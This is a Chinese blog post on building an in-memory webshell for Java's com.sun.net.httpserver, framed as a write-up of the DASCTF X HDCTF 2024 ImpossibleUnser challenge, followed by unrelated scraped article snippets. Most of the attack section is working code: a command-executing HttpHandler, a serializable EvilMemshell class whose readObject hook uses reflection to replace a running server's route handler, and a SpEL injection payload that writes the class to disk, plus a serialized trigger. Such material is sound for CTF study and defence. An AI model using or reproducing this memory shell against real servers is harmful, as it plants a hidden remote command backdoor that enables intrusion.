当前位置: 首页 > news >正文

HttpServer内存马

HttpServer内存马

基础知识

一些基础的方法和类

HttpServer:HttpServer主要是通过带参的create方法来创建,第一个参数InetSocketAddress表示绑定的ip地址和端口号。第二个参数为int类型,表示允许排队的最大TCP连接数,如果该值小于或等于零,则使用系统默认值。

createContext:可以调用多次,表示将指定的url路径绑定到指定的HttpHandler处理器对象上,服务器接收到的所有路径请求都将通过调用给定的处理程序对象来处理。

setExecutor:设置服务器的线程池对象,不设置或者设为null则表示使用start方法创建的线程。

代码例子

首先我们需要知道怎么使用httpserver构建一个HttpServer服务
其实不难,重点只有两部分,一个是server,一个是hander

其实举个例子就能够理解了

import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.util.concurrent.Executors;public class HttpServerStarter {public static void main(String[] args) throws IOException {//创建一个HttpServer实例,并绑定到指定的IP地址和端口号HttpServer httpServer = HttpServer.create(new InetSocketAddress(8000), 0);//创建一个HttpContext,将路径为/myserver请求映射到MyHttpHandler处理器httpServer.createContext("/myserver", new MyHttpHandler());//设置服务器的线程池对象httpServer.setExecutor(Executors.newFixedThreadPool(10));//启动服务器httpServer.start();}
}

然后就是我们的handler

import com.sun.net.httpserver.Headers;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpExchange;import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.List;public class IndexHandler implements HttpHandler {@Overridepublic void handle(HttpExchange exchange) throws IOException {OutputStream os = exchange.getResponseBody();List<String> files = listFilesInDirectory("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\tomcat4\\web\\WEB-INF\\classes");StringBuilder response = new StringBuilder();for (String file : files) {response.append(file).append("\n");}byte[] responseData = response.toString().getBytes();int chunkSize = 1024; // 设置每个数据块的大小exchange.sendResponseHeaders(200, responseData.length);int offset = 0;while (offset < responseData.length) {int bytesToWrite = Math.min(chunkSize, responseData.length - offset);os.write(responseData, offset, bytesToWrite);offset += bytesToWrite;}os.close();}private List<String> listFilesInDirectory(String directoryPath) {File directory = new File(directoryPath);File[] files = directory.listFiles();if (files != null) {return Arrays.asList(directory.list());} else {return null;}}
}

在这里插入图片描述

利用

其实看了上面的例子,我们的利用就是使用server创建一个路由和对于的handler,然后控制恶意的handler,但是问题是怎么去获取我们的server

获取server

我们是根据线程去获取的
在这里插入图片描述当然不止这一种

Thread.currentThread().getThreadGroup().threads

这是获取所有的线程在这里插入图片描述
然后通过[0]去获取你需要的线程,然后就是

Thread.currentThread().getThreadGroup().threads.target.this$0

去获取到我们的context对象
然后你还可以去获取我们的handler
在这里插入图片描述
就是在server的contexts中,然后还是选list的其中一个,然后获取

这就是我们一道DASCTF X HDCTF 2024 ImpossibleUnser的解法

构造恶意的handler

当我们获取到了handler之后,我们就可以使用它的createContext方法了,给我们的路由构建一个恶意的handler

恶意的handler主要是重写它的handle方法

public void handle(HttpExchange httpExchange) throws IOException {String cmd = httpExchange.getRequestURI().getQuery().split("=")[1];InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, StandardCharsets.UTF_8));String line;StringBuilder stringBuilder = new StringBuilder();while ((line = reader.readLine()) != null) {stringBuilder.append(line + "\n");}String response = stringBuilder.toString();httpExchange.sendResponseHeaders(200, response.length());OutputStream os = httpExchange.getResponseBody();os.write(response.getBytes());os.close();}

CTF题目

DASCTF X HDCTF 2024 ImpossibleUnser

官方wp
源码

package com.ctf;
import java.net.InetSocketAddress;
import com.sun.net.httpserver.HttpServer;
public class IndexController {public static void main(String[] args) throws Exception {HttpServer server = HttpServer.create(new InetSocketAddress(8000), 0);server.createContext("/ctf", new SPELHandler());server.createContext("/index", new IndexHandler());server.createContext("/unser", new UnserHandler());server.setExecutor(null);server.start();}
}
package com.ctf;import com.sun.net.httpserver.Headers;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpExchange;import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.List;public class IndexHandler implements HttpHandler {@Overridepublic void handle(HttpExchange exchange) throws IOException {OutputStream os = exchange.getResponseBody();List<String> files = listFilesInDirectory("/usr/lib/jvm/java-8-openjdk-amd64/jre");StringBuilder response = new StringBuilder();for (String file : files) {response.append(file).append("\n");}byte[] responseData = response.toString().getBytes();int chunkSize = 1024; // 设置每个数据块的大小exchange.sendResponseHeaders(200, responseData.length);int offset = 0;while (offset < responseData.length) {int bytesToWrite = Math.min(chunkSize, responseData.length - offset);os.write(responseData, offset, bytesToWrite);offset += bytesToWrite;}os.close();}private List<String> listFilesInDirectory(String directoryPath) {File directory = new File(directoryPath);File[] files = directory.listFiles();if (files != null) {return Arrays.asList(directory.list());} else {return null;}}
}

然后unser路由就是一个反序列化入口

然后还有一个spel表达式注入
方法三 使用内存马方式
这里就直接放payload了
这里wp的思路是修改ctf路由的handler,当然我们也可以添加

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;public class EvilMemshell implements Serializable, HttpHandler {private  void readObject(ObjectInputStream in) throws InterruptedException, IOException, ClassNotFoundException {try{ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();Field threadsFeld = threadGroup.getClass().getDeclaredField("threads");threadsFeld.setAccessible(true);Thread[] threads = (Thread[])threadsFeld.get(threadGroup);Thread thread = threads[1];Field targetField = thread.getClass().getDeclaredField("target");targetField.setAccessible(true);Object object = targetField.get(thread);Field this$0Field = object.getClass().getDeclaredField("this$0");this$0Field.setAccessible(true);object = this$0Field.get(object);Field contextsField = object.getClass().getDeclaredField("contexts");contextsField.setAccessible(true);object = contextsField.get(object);Field listField = object.getClass().getDeclaredField("list");listField.setAccessible(true);java.util.LinkedList linkedList = (java.util.LinkedList)listField.get(object);object = linkedList.get(0);Field handlerField = object.getClass().getDeclaredField("handler");handlerField.setAccessible(true);handlerField.set(object,this);}catch(Exception exception){}}public static String base64serial(Object o) throws Exception {ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(o);oos.close();String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());return base64String;}public static void main(String[] args) throws Exception {System.out.println(base64serial(new EvilMemshell()));}@Overridepublic void handle(HttpExchange httpExchange) throws IOException {String query = httpExchange.getRequestURI().getQuery();String[] split = query.split("=");String response = "SUCCESS"+"\n";if (split[0].equals("shell")) {String cmd = split[1];InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();byte[] bytes = new byte[1024];ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();int flag=-1;while((flag=inputStream.read(bytes))!=-1){byteArrayOutputStream.write(bytes,0,flag);}response += byteArrayOutputStream.toString();byteArrayOutputStream.close();}httpExchange.sendResponseHeaders(200,response.length());OutputStream outputStream = httpExchange.getResponseBody();outputStream.write(response.getBytes());outputStream.close();}
}

重写它的readobject方法,当反序列化它的时候就会处理readobejct的方法,获取到server,更改server的handler

当然我们需要配合spel先把这个恶意的文件写进去

payload=T(com.sun.org.apache.xml.internal.security.utils.JavaUtils).writeBytesToFilename("/usr/lib/jvm/java-8-openjdk-amd64/jre/classes/EvilMemshell.class",T(java.util.Base64).getDecoder.decode("恶意代码的base64编码"))

然后反序列化它

unser=rO0ABXNyAAxFdmlsTWVtc2hlbGwx3CJ1tyzvvgIAAHhw

之后就可以在ctf路由进行命令执行了
在这里插入图片描述

相关文章:

HttpServer内存马

HttpServer内存马 基础知识 一些基础的方法和类 HttpServer&#xff1a;HttpServer主要是通过带参的create方法来创建&#xff0c;第一个参数InetSocketAddress表示绑定的ip地址和端口号。第二个参数为int类型&#xff0c;表示允许排队的最大TCP连接数&#xff0c;如果该值小…...

51单片机-让一个LED灯闪烁、流水灯(涉及:自定义单片机的延迟时间)

目录 设置单片机的延迟&#xff08;睡眠&#xff09;函数查看单片机的时钟频率设置系统频率、定时长度、指令集 完整代码生成HEX文件下载HEX文件到单片机流水灯代码 (自定义延迟时间) 设置单片机的延迟&#xff08;睡眠&#xff09;函数 查看单片机的时钟频率 检测前单片机必…...

MYSQL原理、设计与应用

概述 数据库(Database&#xff0c;DB)是按照数据结构来组织、存储和管理数据的仓库&#xff0c;其本身可被看作电子化的文件柜&#xff0c;用户可以对文件中的数据进行增删改查等操作。 数据库系统是指在计算机系统中引入数据库后的系统&#xff0c;除了数据库&#xff0c;还…...

flask项目部署总结

这个部署的时候要用虚拟环境&#xff0c;cd进项目文件夹 python3 -m venv myenv source myenv/bin/activate激活 之后就安装一些库包之类的&#xff0c;&#xff08;flask&#xff0c;requests,bs4,等等&#xff09; 最重要的是要写.flaskenv文件并且pip install 一个能运行…...

【总线】AXI4第八课时:介绍AXI的 “原子访问“ :独占访问(Exclusive Access)和锁定访问(Locked Access)

大家好,欢迎来到今天的总线学习时间!如果你对电子设计、特别是FPGA和SoC设计感兴趣&#xff0c;那你绝对不能错过我们今天的主角——AXI4总线。作为ARM公司AMBA总线家族中的佼佼者&#xff0c;AXI4以其高性能和高度可扩展性&#xff0c;成为了现代电子系统中不可或缺的通信桥梁…...

Java面试八股之MYISAM和INNODB有哪些不同

MYISAM和INNODB有哪些不同 MyISAM和InnoDB是MySQL数据库中两种不同的存储引擎&#xff0c;它们在设计哲学、功能特性和性能表现上存在显著差异。以下是一些关键的不同点&#xff1a; 事务支持&#xff1a; MyISAM 不支持事务&#xff0c;没有回滚或崩溃恢复的能力。 InnoDB…...

大数据面试题之数据库(2)

数据库中存储引擎MvlSAM与InnoDB的区别 Mylsam适用于什么场景? InnoDB和Mvlsam针对读写场景? MySQL Innodb实现了哪个隔离级别? InnoDB数据引擎的特点 InnoDB用什么索引 Hash索引缺点 数据库索引的类型&#xff0c;各有什么优缺点? MySQL的索引有哪些?索引…...

1421-04SF 同轴连接器

型号简介 1421-04SF是Southwest Microwave的2.4 mm 同轴连接器。这款连接器外壳和耦合螺母: 不锈钢 CRES 合金 UNS-S30300, 按照 ASTM A582 标准制造&#xff0c;并按照 ASTM A967-99 标准进行钝化处理。金镀层可以提供更低的接触电阻和更好的耐腐蚀性。 型号特点 50 欧姆密封…...

第一节-k8s架构图

一个Deployment&#xff0c;可以由多个不同Node下的Pod组成&#xff0c;每个Pod又由多个Container组成。 区分Deployment是用Labels(key:value)&#xff0c;区分Pod是用PodName&#xff0c;区分Container是用ContainerName。 一个Node可以包含多个不同Deployment中的pod&…...

【Proteus】按键的实现『⒉种』

&#x1f6a9; WRITE IN FRONT &#x1f6a9; &#x1f50e; 介绍&#xff1a;"謓泽"正在路上朝着"攻城狮"方向"前进四" &#x1f50e;&#x1f3c5; 荣誉&#xff1a;2021|2022年度博客之星物联网与嵌入式开发TOP5|TOP4、2021|2222年获评…...

Windows 11 安装 Python 3.11 完整教程

Windows 11 安装 Python 3.11 完整教程 一、安装包安装 1. 下载 Python 3.11 安装包 打开浏览器,访问 Python 官方下载页面。点击“Download Python 3.11”,下载适用于 Windows 的安装包(Windows installer)。 2. 安装 Python 3.11 运行下载的安装包 python-3.11.x-amd6…...

外呼系统的功能有哪些

1. 自动拨号 - 系统能够自动拨打电话&#xff0c;避免了手动拨号的繁琐过程。 - 可以根据设定的电话号码列表自动拨号&#xff0c;提高电话接触率和工作效率。 2. 呼叫分配 - 根据事先设定的规则和策略&#xff0c;将呼叫分配给不同的坐席或代表。 - 确保呼叫平均分配和资源优…...

【C语言】C语言 4 个编译过程详解

C语言的编译过程涉及几个关键步骤、概念和细节&#xff0c;每个步骤都有助于将人类可读的源代码转换为可执行的机器码。以下是详细的解释和示例&#xff1a; 一、什么是编译&#xff1f; 编译是将源代码转换为目标代码的过程。它是在编译器的帮助下完成的。编译器检查源代码是…...

Linux 常见的几种编辑器的操作步骤

在大多数命令行文本编辑器中&#xff0c;保存并关闭文件的操作方式基本相似。以下是常见的几种编辑器的操作步骤&#xff1a; 使用 vi 编辑器保存并关闭文件 编辑文件&#xff1a; sudo vi /path/to/file 编辑内容&#xff1a; 按 i 进入插入模式&#xff0c;编辑文件内容。 …...

LabVIEW汽车转向器测试系统

绍了一种基于LabVIEW的汽车转向器测试系统。该系统集成了数据采集、控制和分析功能&#xff0c;能够对转向器进行高效、准确的测试。通过LabVIEW平台&#xff0c;实现了对转向器性能参数的实时监测和分析&#xff0c;提升了测试效率和数据精度&#xff0c;为汽车转向器的研发和…...

image媒体组件属性配合swiper轮播

图片组件&#xff08;image&#xff09; 先插入个图片试试&#xff0c;插入图片用src属性&#xff0c;这是图片&#xff1a; 代码如下&#xff1a; <template><view><swiper indicator-dots indicator-color "#126bae" indicator-active-color &…...

nginx的匹配及重定向

一、nginx的匹配&#xff1a; nginx中location的优先级和匹配方式&#xff1a; 1.精确匹配&#xff1a;location / 对字符串进行完全匹配&#xff0c;必须完全符合 2.正则匹配&#xff1a;location ^~ ^~ 前缀匹配&#xff0c;以什么为开头 ~区分大小写的匹配 ~* 不区分…...

云计算【第一阶段(23)】Linux系统安全及应用

一、账号安全控制 1.1、账号安全基本措施 1.1.1、系统账号清理 将非登录用户的shell设为/sbin/nologin锁定长期不使用的账号删除无用的账号 1.1.1.1、实验1 用于匹配以/sbin/nologin结尾的字符串&#xff0c;$ 表示行的末尾。 &#xff08;一般是程序用户改为nologin&…...

YUM——简介、安装(Ubuntu22.04)

1、简介 YUM&#xff08;Yellowdog Updater, Modified&#xff09;是一个开源的命令行软件包管理工具&#xff0c;主要用于基于 RPM 包管理系统的 Linux 发行版&#xff0c;如 CentOS、Red Hat Enterprise Linux (RHEL) 和 Fedora。YUM 使用户能够轻松地安装、更新、删除和管理…...

Java面向对象练习(4.文字格斗游戏)(2024.7.4)

角色类 package FightGame20240704; import java.util.Random; public class GameRole {Random r new Random();private String name;private int blood;private char gender;private String face;public GameRole(){}public GameRole(String name, int blood, char gender){…...

C++实战:用代码构建你的斗罗大陆武魂觉醒系统

1. 从零开始搭建武魂觉醒系统 第一次看到斗罗大陆的武魂觉醒桥段时&#xff0c;我就被这个充满想象力的设定吸引了。作为程序员&#xff0c;我总忍不住思考&#xff1a;如果用代码实现这个系统会怎样&#xff1f;去年带新人培训时&#xff0c;我尝试用C还原了这个过程&#xff…...

3个步骤实现微信消息永久保存,高效保护重要沟通记录

3个步骤实现微信消息永久保存&#xff0c;高效保护重要沟通记录 【免费下载链接】RevokeMsgPatcher :trollface: A hex editor for WeChat/QQ/TIM - PC版微信/QQ/TIM防撤回补丁&#xff08;我已经看到了&#xff0c;撤回也没用了&#xff09; 项目地址: https://gitcode.com/…...

Linux g++编译与GDB调试完整流程(文末附图)

验证安装 C which g g --versionC which gcc gcc --version安装 **centOs**&#xff1a;sudo yum install gcc **centOs**&#xff1a;sudo yum install g **ubuntu**&#xff1a;sudo apt-get install gcc **ubuntu**&#xff1a;sudo apt-get install g **kyLin**&#xff1a…...

致所有嵌入式学习者:一些比代码更重要的东西

文 / 一只会飞的猫 本文已经加入原创侵权保护&#xff0c;商业行为&#xff0c;禁止任何形式转载&#xff0c;违者必究。 文章所在专栏&#xff1a;嵌入式入行认知指南—芯片老兵带你打破学习信息差 文章目录1 为什么我要写这个专栏2 在这个专栏里&#xff0c;你会了解到什么&a…...

重新定义开源RTS体验:Beyond All Reason深度技术解析

重新定义开源RTS体验&#xff1a;Beyond All Reason深度技术解析 【免费下载链接】Beyond-All-Reason www.beyondallreason.info 项目地址: https://gitcode.com/gh_mirrors/be/Beyond-All-Reason Beyond All Reason是一款基于Spring引擎开发的开源实时战略游戏&#xf…...

特斯拉行车记录仪视频合并终极指南:高效处理多摄像头记录的专业方案

特斯拉行车记录仪视频合并终极指南&#xff1a;高效处理多摄像头记录的专业方案 【免费下载链接】tesla_dashcam Convert Tesla dash cam movie files into one movie 项目地址: https://gitcode.com/gh_mirrors/te/tesla_dashcam 特斯拉行车记录仪视频智能合并工具tesl…...

ReactPy虚拟DOM终极指南:Python如何高效更新网页内容

ReactPy虚拟DOM终极指南&#xff1a;Python如何高效更新网页内容 【免费下载链接】reactpy Its React, but in Python 项目地址: https://gitcode.com/gh_mirrors/re/reactpy ReactPy作为Python领域的创新框架&#xff0c;让开发者能够使用Python语法构建交互式Web界面&…...

为什么C++开发者需要关注LunaSVG这个SVG渲染库?

为什么C开发者需要关注LunaSVG这个SVG渲染库&#xff1f; 【免费下载链接】lunasvg lunasvg is a standalone SVG rendering library in C 项目地址: https://gitcode.com/gh_mirrors/lu/lunasvg 在现代软件开发中&#xff0c;矢量图形处理已经成为许多应用程序的核心需…...

有关数组的学习

数组的概念简介数组是编程中最基础也最常用的数据结构之一&#xff0c;理解它能帮你高效管理一组同类型的数据。1. 什么是数组&#xff1f;核心概念同类型&#xff1a;数组里的所有元素必须是相同的数据类型&#xff08;如全是 int 或全是 float&#xff09;。连续内存&#xf…...

保姆级教程:在Ubuntu 22.04上搭建PXE服务器,自动化安装麒麟桌面系统(含NFS/TFTP/DHCP配置)

从零构建PXE自动化部署平台&#xff1a;Ubuntu 22.04环境下的麒麟系统无人值守安装实战 在中小型技术团队或开发者个人的工作场景中&#xff0c;频繁部署测试环境往往成为效率瓶颈。传统的光盘或U盘安装方式不仅耗时费力&#xff0c;更难以保证多台设备配置的一致性。本文将带您…...